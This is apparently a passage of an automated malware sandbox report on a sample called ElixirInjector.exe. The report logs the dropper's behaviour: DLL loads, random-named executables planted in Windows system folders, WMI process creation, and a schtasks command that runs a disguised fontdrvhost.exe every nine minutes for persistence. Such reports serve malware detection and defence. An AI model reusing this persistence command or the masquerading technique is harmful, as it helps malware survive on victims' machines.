              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
              Source: C:\Users\user\Desktop\ElixirInjector.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32Jump to behavior
              Source: Window RecorderWindow detected: More than 3 window changes detected
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDirectory created: C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeDirectory created: C:\Program Files\7-Zip\ad448380f74670Jump to behavior
              Source: ElixirInjector.exeStatic file information: File size 1968011 > 1048576
              Source: ElixirInjector.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
              Source: ElixirInjector.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
              Source: ElixirInjector.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
              Source: ElixirInjector.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: ElixirInjector.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
              Source: ElixirInjector.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
              Source: ElixirInjector.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
              Source: ElixirInjector.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
              Source: Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: ElixirInjector.exe
              Source: ElixirInjector.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
              Source: ElixirInjector.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
              Source: ElixirInjector.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
              Source: ElixirInjector.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
              Source: ElixirInjector.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile created: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\__tmp_rar_sfx_access_check_4707203Jump to behavior
              Source: ElixirInjector.exeStatic PE information: section name: .didat
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2F640 push ecx; ret 0_2_00F2F653
              Source: C:\Users\user\Desktop\ElixirInjector.exeCode function: 0_2_00F2EB78 push eax; ret 0_2_00F2EB96
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeCode function: 5_2_00007FFD34673597 push ebp; iretd 5_2_00007FFD34673598
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeCode function: 5_2_00007FFD34A68824 push cs; ret 5_2_00007FFD34A68887
              Source: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeCode function: 75_2_00007FFD34683597 push ebp; iretd 75_2_00007FFD34683598

              Persistence and Installation Behavior

              barindex
              Creates processes via WMI
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
              Drops executables to the windows directory (C:\Windows) and starts them
              Source: C:\Windows\System32\cmd.exeExecutable created and started: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exe
              Source: unknownExecutable created and started: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exe
              Source: unknownExecutable created and started: C:\Windows\ShellComponents\cmd.exe
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\uAazTYNi.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\ShellComponents\cmd.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\mPirFwXv.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\TxvLlrMg.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Program Files\7-Zip\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\rCAqismj.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\BlUGSVrR.logJump to dropped file
              Source: C:\Users\user\Desktop\ElixirInjector.exeFile created: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\DvqGSnXS.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\EbKwZRsK.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\wxCHpYcd.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\VHSMlJrg.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\ShellComponents\cmd.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\BitLockerDiscoveryVolumeContents\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Windows\Microsoft.NET\fvXBwqYdGYPkplbuTcoXecCdP.exeJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\TxvLlrMg.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\DvqGSnXS.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\BlUGSVrR.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\rCAqismj.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\uAazTYNi.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\EbKwZRsK.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\wxCHpYcd.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\mPirFwXv.logJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeFile created: C:\Users\user\Desktop\VHSMlJrg.logJump to dropped file

              Boot Survival

              barindex
              Uses schtasks.exe or at.exe to add and modify task schedules
              Source: C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exeProcess created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontdrvhost.exe'" /f

              Hooking and other Techniques for Hiding and Protection

              barindex
              Loading BitLocker PowerShell Module
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
